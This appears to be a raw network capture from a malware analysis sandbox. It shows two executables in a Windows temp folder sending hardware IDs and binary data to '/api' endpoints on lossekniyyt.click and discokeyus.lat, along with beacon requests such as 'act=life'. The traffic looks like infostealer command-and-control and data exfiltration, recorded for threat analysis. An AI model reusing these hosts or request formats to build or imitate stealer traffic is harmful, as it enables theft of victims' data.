2024-12-20 16:43:29 UTC	1369	IN	Data Raw: 4d 38 53 6f 62 70 49 77 6e 58 37 44 39 31 34 78 43 2f 57 41 32 51 4b 48 4a 4c 51 34 55 4c 67 4f 69 48 54 45 35 55 76 6c 4d 70 35 38 6d 2b 46 46 6b 54 6d 45 4f 64 47 77 52 33 6f 46 38 38 53 41 53 63 42 69 2f 44 46 4c 2f 6c 33 45 53 73 4c 36 58 65 4e 36 68 6a 32 46 71 45 57 64 66 38 35 2b 30 61 74 47 64 42 37 39 7a 34 70 51 69 79 71 38 4d 30 47 35 43 59 35 33 78 75 52 41 34 7a 4b 4c 63 35 48 6f 55 49 4d 35 6e 54 43 63 39 77 64 32 46 4c 6d 59 77 58 4f 58 4a 2f 77 70 48 61 64 46 67 33 53 46 74 41 33 6a 4d 4a 52 39 6a 75 78 45 6d 6a 79 59 4e 74 6d 78 51 33 73 42 39 73 75 4c 53 34 67 73 73 7a 4e 62 74 51 4f 4b 65 63 50 67 51 4b 42 30 32 58 53 45 71 42 72 52 47 49 77 7a 32 71 35 57 52 41 76 35 6b 63 46 64 7a 6a 58 38 4d 56 2f 2b 58 63 52 31 79 65 5a 41 35 54 36 Data Ascii: M8SobpIwnX7D914xC/WA2QKHJLQ4ULgOiHTE5UvlMp58m+FFkTmEOdGwR3oF88SAScBi/DFL/l3ESsL6XeN6hj2FqEWdf85+0atGdB79z4pQiyq8M0G5CY53xuRA4zKLc5HoUIM5nTCc9wd2FLmYwXOXJ/wpHadFg3SFtA3jMJR9juxEmjyYNtmxQ3sB9suLS4gsszNbtQOKecPgQKB02XSEqBrRGIwz2q5WRAv5kcFdzjX8MV/+XcR1yeZA5T6
2024-12-20 16:43:29 UTC	1369	IN	Data Raw: 77 79 49 66 35 45 79 6e 4f 45 48 66 77 48 2f 77 59 42 4b 69 43 79 36 50 46 65 39 44 49 64 2f 7a 4f 70 47 34 7a 43 57 64 4a 72 73 51 70 6f 34 6d 44 6a 5a 73 6b 34 78 51 72 6e 48 6d 51 4c 59 62 4a 6f 56 51 61 77 33 69 6e 76 65 72 46 4b 75 49 39 6c 30 6b 4b 67 61 30 54 53 65 4d 63 36 38 54 6e 6b 49 38 4d 43 46 53 49 30 72 76 44 4e 65 75 77 47 4b 66 4d 4c 73 51 65 38 39 6b 58 79 59 36 45 33 52 63 64 59 35 78 50 6b 66 4d 53 7a 79 31 71 42 4d 69 7a 37 38 4b 52 32 6e 52 59 4e 30 68 62 51 4e 37 6a 4f 59 65 35 4c 6b 53 70 55 74 6c 6a 58 56 74 6b 5a 2b 44 50 72 42 69 30 71 53 4b 72 77 39 57 37 6b 4e 67 48 62 58 37 55 4b 67 64 4e 6c 30 68 4b 67 61 30 51 36 41 4f 64 75 32 42 56 67 4c 34 73 47 4c 51 59 73 67 2f 43 6b 64 70 30 57 44 64 49 57 30 44 65 30 32 6c 48 65 4f Data Ascii: wyIf5EynOEHfwH/wYBKiCy6PFe9DId/zOpG4zCWdJrsQpo4mDjZsk4xQrnHmQLYbJoVQaw3inverFKuI9l0kKga0TSeMc68TnkI8MCFSI0rvDNeuwGKfMLsQe89kXyY6E3RcdY5xPkfMSzy1qBMiz78KR2nRYN0hbQN7jOYe5LkSpUtljXVtkZ+DPrBi0qSKrw9W7kNgHbX7UKgdNl0hKga0Q6AOdu2BVgL4sGLQYsg/Ckdp0WDdIW0De02lHeO
2024-12-20 16:43:29 UTC	1369	IN	Data Raw: 50 57 5a 70 79 79 53 58 51 4e 39 63 71 47 54 4a 49 74 74 6a 70 53 75 51 4b 50 61 73 37 2b 52 75 67 35 6c 33 75 56 36 45 79 52 50 70 73 2b 6e 50 63 48 64 68 53 35 6d 4d 46 6e 6f 7a 75 71 50 42 47 64 45 70 4a 79 77 75 42 62 36 7a 75 61 5a 5a 48 34 41 74 39 2f 68 7a 6e 4e 2b 52 39 6e 48 4f 37 48 6e 67 79 5a 62 4c 73 36 45 2b 5a 46 6a 33 66 4c 34 55 62 6b 4d 35 78 37 6e 2b 31 48 6d 7a 4f 61 50 39 53 77 54 58 51 4a 2f 38 71 43 54 49 38 74 73 44 4a 61 73 41 7a 45 4e 6f 58 72 56 61 42 69 32 55 57 4d 37 31 71 63 4c 39 51 4d 33 36 68 57 5a 41 48 70 78 73 4e 74 67 79 43 2f 4d 31 53 75 52 5a 73 32 33 4b 78 4b 37 48 72 42 4d 35 7a 73 54 70 49 34 6d 44 48 52 74 6b 42 36 41 2f 50 4f 6b 30 32 46 4a 4c 41 2b 58 71 77 50 6a 6d 72 4d 35 55 44 75 4d 6f 74 77 33 4b 59 43 6c Data Ascii: PWZpyySXQN9cqGTJIttjpSuQKPas7+Rug5l3uV6EyRPps+nPcHdhS5mMFnozuqPBGdEpJywuBb6zuaZZH4At9/hznN+R9nHO7HngyZbLs6E+ZFj3fL4UbkM5x7n+1HmzOaP9SwTXQJ/8qCTI8tsDJasAzENoXrVaBi2UWM71qcL9QM36hWZAHpxsNtgyC/M1SuRZs23KxK7HrBM5zsTpI4mDHRtkB6A/POk02FJLA+XqwPjmrM5UDuMotw3KYCl
2024-12-20 16:43:29 UTC	1369	IN	Data Raw: 64 75 6b 6b 7a 50 65 2f 4e 6b 55 47 46 4b 34 49 49 58 62 6b 52 67 33 62 44 37 41 32 75 65 70 59 7a 78 4e 45 43 32 58 2b 70 63 4a 79 68 42 79 6c 4d 7a 4d 4f 50 54 49 63 36 72 58 74 77 71 52 4f 4f 59 34 66 4b 53 76 45 7a 6a 33 36 4f 71 41 7a 52 4f 64 5a 6d 6a 50 63 48 64 52 32 35 6d 4e 45 51 32 33 6e 76 59 51 50 73 47 73 70 68 68 66 6f 4e 75 47 6a 58 4d 34 36 6f 47 74 46 34 6c 53 7a 4f 76 30 52 6e 44 37 37 2b 76 32 4b 4c 4f 72 30 37 57 4c 49 37 75 6d 33 47 34 6b 50 6e 4c 49 67 7a 30 71 68 4e 30 57 65 76 66 70 54 35 65 44 39 4d 34 59 44 5a 41 72 55 76 73 6a 68 55 71 42 54 4a 57 4d 37 36 54 4f 30 78 6c 54 47 64 35 56 4b 57 66 39 68 2b 32 76 6b 66 49 55 4b 35 78 4a 41 43 32 48 7a 75 62 51 62 74 55 74 51 71 32 71 4a 55 6f 43 7a 5a 4b 38 36 6d 41 6f 4e 2f 7a 6e Data Ascii: dukkzPe/NkUGFK4IIXbkRg3bD7A2uepYzxNEC2X+pcJyhBylMzMOPTIc6rXtwqROOY4fKSvEzj36OqAzROdZmjPcHdR25mNEQ23nvYQPsGsphhfoNuGjXM46oGtF4lSzOv0RnD77+v2KLOr07WLI7um3G4kPnLIgz0qhN0WevfpT5eD9M4YDZArUvsjhUqBTJWM76TO0xlTGd5VKWf9h+2vkfIUK5xJAC2HzubQbtUtQq2qJUoCzZK86mAoN/zn
2024-12-20 16:43:29 UTC	1369	IN	Data Raw: 50 44 6e 36 30 59 4a 43 69 32 7a 79 64 6c 58 2b 58 64 59 32 68 65 68 63 6f 47 4c 4a 49 63 65 39 45 63 5a 76 78 43 47 53 6f 41 64 6e 54 4b 47 53 7a 77 4b 53 62 4f 52 32 46 4c 30 58 6c 6e 37 47 2b 6b 36 6e 42 4b 64 56 6e 2b 39 45 6b 6a 47 42 4c 35 36 57 52 48 6f 41 39 63 65 58 66 4c 34 35 76 7a 68 64 75 52 4f 56 4f 49 75 73 51 71 42 69 6f 44 4f 4e 34 6b 58 64 64 39 6f 76 7a 37 64 4d 5a 77 75 35 2f 38 38 43 6d 47 7a 6b 64 6d 61 39 43 34 70 2f 30 2f 30 41 78 6a 6d 65 64 5a 2f 6d 56 59 42 2f 32 48 37 61 2b 52 38 6a 51 72 6e 45 6b 41 4c 59 66 4f 35 74 42 75 31 53 31 43 72 61 6f 6c 53 67 4c 4e 6b 72 7a 36 59 43 67 33 2f 4f 66 70 75 33 53 6e 41 50 39 38 4f 54 55 49 59 76 71 6a 55 55 67 44 75 68 64 63 6a 70 51 2b 63 45 70 31 4b 57 2b 45 2b 65 4f 4b 67 41 36 36 68 Data Ascii: PDn60YJCi2zydlX+XdY2hehcoGLJIce9EcZvxCGSoAdnTKGSzwKSbOR2FL0Xln7G+k6nBKdVn+9EkjGBL56WRHoA9ceXfL45vzhduROVOIusQqBioDON4kXdd9ovz7dMZwu5/88CmGzkdma9C4p/0/0AxjmedZ/mVYB/2H7a+R8jQrnEkALYfO5tBu1S1CraolSgLNkrz6YCg3/Ofpu3SnAP98OTUIYvqjUUgDuhdcjpQ+cEp1KW+E+eOKgA66h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49737	172.67.131.246	443	8140	C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:31 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=64XA112BA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12800 Host: lossekniyyt.click
2024-12-20 16:43:31 UTC	12800	OUT	Data Raw: 2d 2d 36 34 58 41 31 31 32 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 36 34 58 41 31 31 32 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 34 58 41 31 31 32 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 36 34 58 41 31 31 32 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 Data Ascii: --64XA112BAContent-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--64XA112BAContent-Disposition: form-data; name="pid"2--64XA112BAContent-Disposition: form-data; name="lid"9Z1cyc----64XA112BAContent-Dispositi
2024-12-20 16:43:32 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cmhq8r0if2astajfhlfh7k5cir; expires=Tue, 15 Apr 2025 10:30:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Py12ksfrlcRd1fwULxL5IWxnNRoAWc0XdYiO198TSJPS04QG5bLFld5MeoucEo6O%2FmXBEswGL13iUCtjKYHclhRT9htqgf%2FqYEmHpaG4N4RWtqSHWljc%2BOaMlkIgVUO%2BGOpvvg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5117849ee70c92-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1884&min_rtt=1666&rtt_var=781&sent=10&recv=18&lost=0&retrans=0&sent_bytes=2843&recv_bytes=13732&delivery_rate=1752701&cwnd=165&unsent_bytes=0&cid=f36428bd82876f99&ts=908&x=0"
2024-12-20 16:43:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:43:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49738	172.67.131.246	443	8140	C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:33 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XKHDL4DX7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15046 Host: lossekniyyt.click
2024-12-20 16:43:33 UTC	15046	OUT	Data Raw: 2d 2d 58 4b 48 44 4c 34 44 58 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 58 4b 48 44 4c 34 44 58 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 4b 48 44 4c 34 44 58 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 58 4b 48 44 4c 34 44 58 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 Data Ascii: --XKHDL4DX7Content-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--XKHDL4DX7Content-Disposition: form-data; name="pid"2--XKHDL4DX7Content-Disposition: form-data; name="lid"9Z1cyc----XKHDL4DX7Content-Dispositi
2024-12-20 16:43:34 UTC	1138	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p8c5do3qbvtapia5leglfvq1df; expires=Tue, 15 Apr 2025 10:30:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fub5C75NRSajyLKscBOofxZcDEoeLP1HKGAGW0pzNSlNjp4r1ktQtVqk%2FcZE%2BnqMTh6krENKLjuoR7lvtL9xUv5dAvum%2BX74satlx8nbiRzQ8jlC6I%2FJmIDgZf0u29siuLZ%2F0w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f511792086f5e68-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&min_rtt=1578&rtt_var=595&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2841&recv_bytes=15978&delivery_rate=1833019&cwnd=214&unsent_bytes=0&cid=8e791bd6e9797d5e&ts=891&x=0"
2024-12-20 16:43:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:43:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49740	172.67.197.170	443	5544	C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:35 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: discokeyus.lat
2024-12-20 16:43:35 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 16:43:36 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vccrl8vrsi774fh0mej13skelp; expires=Tue, 15 Apr 2025 10:30:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kxk6IFkmx9dP92IV3b3pP9U0UmfS3v42nUArQSThIPXfvS00DjFlTrzqzaZW3r5gLz3Z1f%2FoxWqUY9CdSPiJLdNsscj5BdcelHNs8yw6IMxhcb%2F2h0ZesB2ljKtZGjXxiw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51179eefa81a44-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2003&min_rtt=1994&rtt_var=767&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=905&delivery_rate=1408586&cwnd=128&unsent_bytes=0&cid=4cc23e6c64b6cdb6&ts=783&x=0"
2024-12-20 16:43:36 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 16:43:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49743	172.67.131.246	443	8140	C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:36 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Y23JLK9Z5HO2J6FPCMD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19964 Host: lossekniyyt.click
2024-12-20 16:43:36 UTC	15331	OUT	Data Raw: 2d 2d 59 32 33 4a 4c 4b 39 5a 35 48 4f 32 4a 36 46 50 43 4d 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 38 39 44 34 33 36 43 38 33 43 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 32 33 4a 4c 4b 39 5a 35 48 4f 32 4a 36 46 50 43 4d 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 59 32 33 4a 4c 4b 39 5a 35 48 4f 32 4a 36 46 50 43 4d 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a Data Ascii: --Y23JLK9Z5HO2J6FPCMDContent-Disposition: form-data; name="hwid"DD89D436C83CA067AC8923850305D13E--Y23JLK9Z5HO2J6FPCMDContent-Disposition: form-data; name="pid"3--Y23JLK9Z5HO2J6FPCMDContent-Disposition: form-data; name="lid"9Z1cyc--
2024-12-20 16:43:36 UTC	4633	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de Data Ascii: +?2+?2+?o?Mp5p_
2024-12-20 16:43:37 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bsbjr293oabrb49gb656gnuruc; expires=Tue, 15 Apr 2025 10:30:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9vwPo5iqL5Qcg6Z48PCeD%2Bbe%2BXivx3AGOLBXnbkOjx1l1G%2Frmi8Y9bVe3AKaTUjL7okpHU79FjO%2BOLkVZGYTRserDOcJcUNvorYeBOsPRoyhftCIk3nZh3vOZGgAK57Eb5fRrA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51179f9a265e7c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1619&min_rtt=1612&rtt_var=620&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2842&recv_bytes=20928&delivery_rate=1743283&cwnd=196&unsent_bytes=0&cid=6add286ddcf72bd6&ts=959&x=0"
2024-12-20 16:43:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:43:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49744	172.67.197.170	443	5544	C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:43:37 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: discokeyus.lat
2024-12-20 16:43:37 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 76 62 41 72 5a 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PvbArZ--&j=
2024-12-20 16:43:38 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:43:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ihvoqu8qfb9tfbk2ft7mtssk98; expires=Tue, 15 Apr 2025 10:30:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=meLsMyB8RI7aNenSLgG2qkFIp44YgC6hpaomZyS0KFgLoDibGj6BJmnOeuAeacOBv0AGIl%2Fwd3KxgFdHhI8v%2FdPuvuPxNVjscfogCF5eWO3HWNs%2BJMtynAtd%2FoUVVZGGAA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5117ab8f8543c9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1777&min_rtt=1761&rtt_var=692&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=940&delivery_rate=1544973&cwnd=230&unsent_bytes=0&cid=2c2d3a293c26e82c&ts=838&x=0"
2024-12-20 16:43:38 UTC	242	IN	Data Raw: 34 39 31 63 0d 0a 54 4c 61 70 59 37 44 74 67 64 76 64 59 38 30 63 31 67 31 31 62 65 68 55 59 70 67 45 42 46 61 36 53 4b 37 63 33 75 6e 4a 74 50 49 33 6c 4e 39 42 69 74 6d 74 2b 61 34 47 37 79 61 69 66 77 41 49 78 48 59 44 2f 43 59 2b 4d 4e 73 6b 33 62 6e 79 79 37 2f 5a 30 48 62 51 79 41 2f 44 69 4b 33 35 75 42 76 76 4a 6f 31 32 56 77 69 47 64 6c 69 36 59 57 34 30 32 79 54 4d 76 62 57 47 75 64 69 52 4a 4e 72 4f 43 39 57 4f 35 62 71 78 44 71 68 35 73 32 77 66 41 34 45 35 43 76 55 6d 4b 48 54 66 4d 6f 7a 6d 2f 4b 53 73 77 4a 4d 42 31 39 6f 49 6b 70 43 74 6f 50 38 47 6f 7a 37 73 4c 78 51 49 69 6a 67 45 2f 47 39 73 50 74 49 73 7a 62 69 30 6d 61 44 53 6d 69 54 55 7a 51 72 66 68 2f 47 33 75 77 6d 6a 66 37 6c 73 56 30 48 4b Data Ascii: 491cTLapY7DtgdvdY80c1g11behUYpgEBFa6SK7c3unJtPI3lN9Bitmt+a4G7yaifwAIxHYD/CY+MNsk3bnyy7/Z0HbQyA/DiK35uBvvJo12VwiGdli6YW402yTMvbWGudiRJNrOC9WO5bqxDqh5s2wfA4E5CvUmKHTfMozm/KSswJMB19oIkpCtoP8Goz7sLxQIijgE/G9sPtIszbi0maDSmiTUzQrfh/G3uwmjf7lsV0HK
2024-12-20 16:43:38 UTC	1369	IN	Data Raw: 4d 52 69 36 50 69 5a 6e 36 69 6e 64 72 36 6d 47 75 39 44 51 4d 5a 72 53 51 64 57 44 6f 2b 48 2f 43 61 4e 77 73 57 77 59 43 49 73 32 45 76 56 6d 5a 54 7a 51 4c 73 61 78 73 34 53 6c 33 4a 63 6d 33 63 77 4f 31 59 66 6c 74 72 78 42 34 54 36 7a 64 31 64 58 79 68 59 51 2b 57 56 79 4f 63 6c 71 30 2f 43 6c 79 36 7a 61 30 48 61 55 7a 51 2f 54 67 75 4f 72 74 77 71 6b 65 36 5a 6b 48 67 4b 48 4e 67 33 77 61 57 55 30 33 79 44 47 73 62 61 50 70 74 75 57 4c 74 53 4c 54 35 4b 49 2b 2f 6e 6e 51 59 78 37 70 47 67 62 47 63 67 4d 51 4f 55 6f 66 33 54 66 4a 6f 7a 6d 2f 49 4f 75 31 5a 4d 6c 32 38 67 4a 32 5a 33 6a 71 37 6b 4d 71 6d 79 79 61 68 6b 46 69 53 51 4b 39 47 42 6c 50 64 4d 6a 79 62 6d 34 79 2b 57 57 6c 7a 61 55 6b 30 48 7a 67 75 69 31 74 52 61 76 50 71 73 68 44 6b 2b Data Ascii: MRi6PiZn6indr6mGu9DQMZrSQdWDo+H/CaNwsWwYCIs2EvVmZTzQLsaxs4Sl3Jcm3cwO1YfltrxB4T6zd1dXyhYQ+WVyOclq0/Cly6za0HaUzQ/TguOrtwqke6ZkHgKHNg3waWU03yDGsbaPptuWLtSLT5KI+/nnQYx7pGgbGcgMQOUof3TfJozm/IOu1ZMl28gJ2Z3jq7kMqmyyahkFiSQK9GBlPdMjybm4y+WWlzaUk0Hzgui1tRavPqshDk+
